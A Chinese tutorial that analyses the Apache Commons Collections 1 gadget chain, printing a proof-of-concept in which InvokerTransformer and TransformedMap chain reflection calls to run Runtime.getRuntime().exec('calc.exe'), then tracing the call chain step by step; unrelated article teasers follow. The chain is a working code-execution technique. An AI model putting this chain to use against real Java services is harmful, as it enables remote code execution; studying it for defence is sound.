CommonCollections1

CommonCollections1

poc展示

这是一段POC,运行后会弹出一个计算器。

import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;import java.util.HashMap;
import java.util.Map;public class test {public static void main(String[] args) throws Exception {//此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),//new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {Class.forName("java.lang.Runtime"), new Object[0] }),new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})};//将transformers数组存入ChaniedTransformer这个继承类Transformer transformerChain = new ChainedTransformer(transformers);//创建Map并绑定transformerChinaMap innerMap = new HashMap();innerMap.put("value", "value");//给予map数据转化链Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();//outerMap后一串东西,其实就是获取这个map的第一个键值对(value,value);然后转化成Map.Entry形式,这是map的键值对数据格式//触发漏洞onlyElement.setValue("foobar");}
}

调用链分析

先debug一下看看调用链,整个过程从onlyElement.setValue("foobar")​开始,每段代码只取相关的片段。

源码的注释需要下载CommonsCollections源码查看,debug时是没有的。

AbstractInputCheckedMapDecorator

// org. apache. commons. collections. map. AbstractInputCheckedMapDecoratorprotected abstract Object checkSetValue(Object var1);//3/*** Implementation of a map entry that checks additions via setValue.*/static class MapEntry extends AbstractMapEntryDecorator {private final AbstractInputCheckedMapDecorator parent;/** The parent map */protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {super(entry);this.parent = parent;}public Object setValue(Object value) {//1value = this.parent.checkSetValue(value);//2return this.entry.setValue(value);}}

如代码注释里的顺序所示,程序先到AbstractInputCheckedMapDecorator的子类MapEntry,在2处调用3处的checkSetValue,但是这里的checkSetValue是抽象函数,程序运行时会根据实例调用对应的实现。

checkSetValue对应的实现有两个如下:

image

根据poc的代码,这里会执行TransformMap里定义的checkSetValue。

TransformedMap

// org. apache. commons. collections. map. TransformedMap extends AbstractInputCheckedMapDecorator// protected final Transformer keyTransformer;protected final Transformer valueTransformer;/*** Factory method to create a transforming map.* <p>* If there are any elements already in the map being decorated, they* are NOT transformed.* Constrast this with {@link #decorateTransform}.* * @param map  the map to decorate, must not be null* @param keyTransformer  the transformer to use for key conversion, null means no transformation* @param valueTransformer  the transformer to use for value conversion, null means no transformation* @throws IllegalArgumentException if map is null*/public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {return new TransformedMap(map, keyTransformer, valueTransformer);}/*** Constructor that wraps (not copies).*/protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {super(map);this.keyTransformer = keyTransformer;this.valueTransformer = valueTransformer;}/*** Override to transform the value when using <code>setValue</code>.* * @param value  the value to transform* @return the transformed value* @since Commons Collections 3.1*/protected Object checkSetValue(Object value) {//1return this.valueTransformer.transform(value);//2}

该类是对上文AbstractInputCheckedMapDecorator的继承,实现了checkSetValue。

该类还与poc中Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain)​有关。

poc中构造的transformers变量先到transformerChain再到outerMap,outerMap是TransformedMap类型的一个实例。

2处的transform是接口Transformer中定义的类,程序运行时会根据实例调用对应的实现。

transform对应的实现有21个如下:

image

根据poc中的代码,这里会运行ChainedTransformer类实现的transform。

ChainedTransformer

// org. apache. commons. collections. functors. ChainedTransformer implements Transformerprivate final Transformer[] iTransformers;/*** Transforms the input to result via each decorated transformer* * @param object  the input object passed to the first transformer* @return the transformed result*/public Object transform(Object object) {//1for(int i = 0; i < this.iTransformers.length; ++i) {object = this.iTransformers[i].transform(object);//2}return object;}

ChainedTransformer实现了Transformer接口,实现了transform。

2处的transform也是接口Transformer中定义的类,程序运行时会根据实例调用对应的实现。

transform对应的实现有21个如下:

image

根据poc中transformers变量的定义,该循环会先调用一次ConstantTransformer中实现的transform,再调用三次InvokerTransformer中实现的transform。

ConstantTransformer

 // org. apache. commons. collections. functors. ConstantTransformer implements Transformerprivate final Object iConstant;public ConstantTransformer(Object constantToReturn) {this.iConstant = constantToReturn;}/*** Transforms the input by ignoring it and returning the stored constant instead.* * @param input  the input object which is ignored* @return the stored constant*/public Object transform(Object input) {//1return this.iConstant;//2}

根据poc中new ConstantTransformer(Runtime.class)​,2处返回的是java.lang.Runtime

InvokerTransformer

// org. apache. commons. collections. functors. InvokerTransformerprivate final String iMethodName;private final Class[] iParamTypes;private final Object[] iArgs;/*** Constructor that performs no validation.* Use <code>getInstance</code> if you want that.* * @param methodName  the method to call* @param paramTypes  the constructor parameter types, not cloned* @param args  the constructor arguments, not cloned*/public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {this.iMethodName = methodName;this.iParamTypes = paramTypes;this.iArgs = args;}/*** Transforms the input to result by invoking a method on the input.* * @param input  the input object to transform* @return the transformed result, null if null input*/public Object transform(Object input) {if (input == null) {return null;}try {Class cls = input.getClass();//1Method method = cls.getMethod(iMethodName, iParamTypes);//2return method.invoke(input, iArgs);//3} catch (NoSuchMethodException ex) {throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");} catch (IllegalAccessException ex) {throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");} catch (InvocationTargetException ex) {throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);}}

此处是整个poc的关键,关键代码是1、2、3处,这里和上面的java.lang.Runtime最终构成了Runtime.getRuntime().exec("calc.exe")。

下面重点分析此处代码。

poc分析

通过反射实现Runtime.getRuntime().exec("calc.exe")

需要了解Java反射以及forName、getMethod、invoke函数。

下面主要看下源码里对这三个函数的注释描述。

forName
    /*** Returns the Class object associated with the class or interface with the given string name.* @param      className   the fully qualified name of the desired class.* @return     the Class object for the class with the specified name.    */@CallerSensitivepublic static Class<?> forName(String className)throws ClassNotFoundException {Class<?> caller = Reflection.getCallerClass();return forName0(className, true, ClassLoader.getClassLoader(caller), caller);}
getMethod
    /*** Returns a Method object that reflects the specified public member method of the class or interface represented by this Class object.* The name parameter is a String specifying the simple name of the desired method.* The parameterTypes parameter is an array of Class objects that identify the method's formal parameter types, in declared order.* If parameterTypes is null, it is treated as if it were an empty array.* * Static methods declared in superinterfaces of the class or interface* represented by this Class object are not considered members of* the class or interface.** @param name the name of the method* @param parameterTypes the list of parameters* @return the Method object that matches the specified name and parameterTypes*/@CallerSensitivepublic Method getMethod(String name, Class<?>... parameterTypes)throws NoSuchMethodException, SecurityException {checkMemberAccess(Member.PUBLIC, Reflection.getCallerClass(), true);Method method = getMethod0(name, parameterTypes, true);if (method == null) {throw new NoSuchMethodException(getName() + "." + name + argumentTypesToString(parameterTypes));}return method;}
invoke
    /*** Invokes the underlying method represented by this Method* object, on the specified object with the specified parameters.** If the underlying method is static, then the specified obj argument is ignored. It may be null** @param obj  the object the underlying method is invoked from* @param args the arguments used for the method call* @return the result of dispatching the method represented by*/@CallerSensitivepublic Object invoke(Object obj, Object... args)throws IllegalAccessException, IllegalArgumentException,InvocationTargetException{if (!override) {if (!Reflection.quickCheckMemberAccess(clazz, modifiers)) {Class<?> caller = Reflection.getCallerClass();checkAccess(caller, clazz, obj, modifiers);}}MethodAccessor ma = methodAccessor;             // read volatileif (ma == null) {ma = acquireMethodAccessor();}return ma.invoke(obj, args);}

因此有

[Runtime类].getMethod([方法exec]).invoke([Runtime对象],[参数calc.exe])

由于Runtime的无参构造函数由private修饰,因为无法用newInstance构造,采用getRuntime方法构造。

因此有反射构造:

Class.forName("java.lang.Runtime").getMethod("exec", String.class).invoke(Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"))//此处在获取类,"calc.exe");

invoke源码中对该函数有一段特别重要的注释,单独拿出来说:

If the underlying method is static, then the specified obj argument is ignored. It may be null

因为getMethod是static方法,因此反射构造可以改写为:

Class.forName("java.lang.Runtime").getMethod("exec", String.class).invoke(Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(null)//此处在获取类,"calc.exe");

依据反射构造ChainedTransformer

InvokerTransformer里有一段重要代码是构造的关键:

Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);

改造一下便是:

input.getClass().getMethod(iMethodName, iParamTypes).invoke(input, iArgs)

根据该结构改造反射构造:

Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(null).getClass().getMethod("exec", String.class).invoke(Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(null)//此处在获取类,"calc.exe");

即为了匹配样式,把Class.forName("java.lang.Runtime")​改为Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(null).getClass()​。

根据ChainedTransformer的源码可知,上一层transform的结果会是这一层transform的参数,因此有:

step1
Object input = Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(null)return input.getClass().getMethod("exec", String.class).invoke(input, "calc.exe")new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
step2
Object input = Class.forName("java.lang.Runtime").getMethod("getRuntime")return input.getClass().getMethod("invoke", new Class[] {Object.class, Object[].class}).invoke(input, new Object[] {null, new Object[0]})new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, new Object[0]})
step3
Object input = Class.forName("java.lang.Runtime")return input.getClass().getMethod("getMethod", new Class[] {String.class, Class[].class}).invoke(input, new Object[] {"getRuntime", new Class[0]})new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
step4
new ConstantTransformer(Runtime.class)

至此poc中的transformers构造完成

逆调用链分析

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/419405.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

C#使用MQTT(二):MQTT客户端

上一篇我们初步设计了MQTT服务端 C#使用MQTT(一):MQTT服务端-CSDN博客 这里我们设计客户端MQTT Client,接上一篇 新建Windows窗体FormMqttClient 窗体FormMqttClient设计如图&#xff1a; 窗体FormMqttClient设计器相关代码如下 文件FormMqttClient.Designer.cs namespace…

uni-app--》打造个性化壁纸预览应用平台(四)完结篇

&#x1f3d9;️作者简介&#xff1a;大家好&#xff0c;我是亦世凡华、渴望知识储备自己的一名前端工程师 &#x1f304;个人主页&#xff1a;亦世凡华、 &#x1f306;系列专栏&#xff1a;uni-app &#x1f307;座右铭&#xff1a;人生亦可燃烧&#xff0c;亦可腐败&#xf…

论文写作神器!分享5款AI论文写作常用软件推荐

在当今学术研究和写作领域&#xff0c;AI论文写作工具的出现极大地提高了写作效率和质量。这些工具不仅能够帮助研究人员快速生成论文草稿&#xff0c;还能进行内容优化、查重和排版等操作。以下是五款目前最好用的AI论文写作软件推荐&#xff1a; 1. 千笔-AIPassPaper 千笔-…

SpringCache之本地缓存

针对不同的缓存技术&#xff0c;需要实现不同的cacheManager&#xff0c;Spring定义了如下的cacheManger实现。 CacheManger 描述 SimpleCacheManager 使用简单的Collection来存储缓存&#xff0c;主要用于测试 ConcurrentMapCacheManager 使用ConcurrentMap作为缓存技术&…

mac 安装redis

官网下载指定版本的redis https://redis.io/ 目前3.2.0 是最新最稳定的 版本 这里是历史版本下载 下载指定版本 安装 1.放到自定义目录下并解压 2.打开终端&#xff0c;执行命令 cd redis的安装目录下 make test -- 此命令的作用是将redis源代码编译成可执行文件&#xff0c…

java基础概念21-权限修饰符、代码块

一、权限修饰符 1-1、作用 权限修饰符&#xff0c;是用来控制一个成员能够被访问的范围的。 可以修饰&#xff1a;成员变量&#xff0c;方法&#xff0c;构造方法&#xff0c;内部类。 1-2、权限修饰符的分类 二、代码块 局部代码块构造代码块静态代码块 2-1、局部代码块 …

day1 QT

作业 #include "mywidget.h"MyWidget::MyWidget(QWidget *parent): QWidget(parent) {//设置窗口大小this->resize(1025,533);//固定窗口大小this->setFixedSize(1025,533);//设置窗口背景色,设置弧度//this->setStyleSheet("background-image:url(E:/…

肖扬老师好书《微权力下的项目管理(第3版)》读书笔记1

肖扬老师好书《微权力下的项目管理&#xff08;第3版&#xff09;》&#xff0c;的确不错&#xff0c;分别共读之。 第2章 精华 为了在项目过程中成为一名优秀的导演&#xff0c;项目经理要同时修炼领导和管理这两种不同的能 力&#xff0c;因为项目管理模式就是一种游走于领导…

计算机网络知识点复习——TCP协议的三次握手与四次挥手(连接与释放)

TCP协议的三次握手与四次挥手&#xff08;连接与释放&#xff09; 一、前言二、简单的知识准备1. TCP协议的主要特点2. TCP报文段 三、TCP连接的建立&#xff08;三次握手&#xff09;四、TCP连接的释放&#xff08;四次挥手&#xff09;五、TCP连接与释放的总结六、结束语 一、…

MySQL record 01 part

更改密码&#xff1a; alter user rootlocalhost identified with mysql_native_password by ‘123456’; 注意&#xff1a; 在命令行方式下&#xff0c;每条MySQL的命令都是以分号结尾的&#xff0c;如果不加分号&#xff0c;MySQL会继续等待用户输入命令&#xff0c;直到MyS…

vue2-elementUI-初始化启动项目-git

前置基础 资料下载-阿里云盘 vueaxioselement-uinpmvscode 初始化项目 1.创建vue2工程 1.1 vue create projectName1.2 选择 1.3 初始化 vue-cli 的核心步骤&#xff1a; Manually select features (*) Babel ( ) TypeScript ( ) Progressive Web App (PWA) Support …

【深度学习讲解笔记】前言

小编为AI专业的本科学生&#xff0c;最近入手了一本《深度学习讲解》的书&#xff0c;由于封面画了苹果&#x1f34e;&#xff0c;所以也叫苹果书&#xff0c;这本书目前在全网的热度很高。 本书是根据李宏毅老师讲授的《机器学习》课程编写的&#xff0c;作者是来自DataWhale…

Python QT实现A-star寻路算法

目录 1、界面使用方法 2、注意事项 3、补充说明 用Qt5搭建一个图形化测试寻路算法的测试环境。 1、界面使用方法 设定起点&#xff1a; 鼠标左键双击&#xff0c;设定红色的起点。左键双击设定起点&#xff0c;用红色标记。 设定终点&#xff1a; 鼠标右键双击&#xf…

Uniapp基于uni拦截器+Promise的请求函数封装

最近在学Uniapp&#xff0c;到封装请求的时候本来还想用axios&#xff0c;但是看到一些教学视频有更简单的方法&#xff0c; 基于uni的拦截器和Promise封装的请求函数 但是他们是用TS写的&#xff0c;还没学到TS&#xff0c;我就把JS写了&#xff0c;最终也是请求成功 // src/…

电动机制造5G智能工厂工业物联数字孪生平台,推进制造业数字化转型

电动机制造5G智能工厂工业物联数字孪生平台&#xff0c;推进制造业数字化转型。5G智能工厂与物联数字孪生平台的融合应用&#xff0c;为电动机制造业的数字化转型铺设了一条高速通道。这一创新模式不仅极大地提升了生产效率&#xff0c;还深刻改变了产品的设计、生产、管理及运…

EasyExcel模板导出与公式计算(下)

目录 环境要求 功能预览 需求分析 导入依赖 制作模板 编写代码 格式优化 最终效果 总结 在上一篇 EasyExcel模板导出与公式计算&#xff08;上&#xff09;-CSDN博客 文章中我们知道了在若依中使用自带的Excel注解来实现表格数据的导出&#xff0c;并且通过重写相关接…

【Python 千题 —— 算法篇】无重复字符最长子段

Python 千题持续更新中 …… 脑图地址 &#x1f449;&#xff1a;⭐https://twilight-fanyi.gitee.io/mind-map/Python千题.html⭐ 题目背景 在编程过程中&#xff0c;处理字符串的任务时常遇到&#xff0c;其中一个经典问题是查找无重复字符的最长子串。这在很多应用场景中…

redisson中的分布式锁

我的博客大纲 我的后端学习大纲 a.redisson概述&#xff1a; 1.Redisson是一个在Redis的基础上实现的Java驻内存数据网格&#xff08;In-Memory Data Grid&#xff09;2.redisson介绍官方文档地址&#xff1a;3.Redisson它不仅提供了一系列的分布式的Java常用对象&#xff0c;还…

使用vscode编辑matlab完美解决方法

vscode里面的matlab插件都不好用&#xff0c;需要搭配互补一下 1先安装MATLAB 这个插件可以进行代码高亮、格式化、跳转&#xff0c;F5运行所有代码&#xff0c;或者选中要运行的代码&#xff0c;右键单独运行&#xff0c; 优点&#xff1a;运行速度很快&#xff0c;和matlab里…

vcruntime140.dll丢失报错处理及dll下载修复方法

概述 vcruntime140.dll是Visual C Redistributable for Visual Studio的一个动态链接库文件。 如果你在运行某个程序时遇到了vcruntime140.dll丢失的错误&#xff0c;你可以尝试以下解决方法&#xff1a; 重新安装程序&#xff1a; 如果你只在运行某个特定程序时出现了该错误…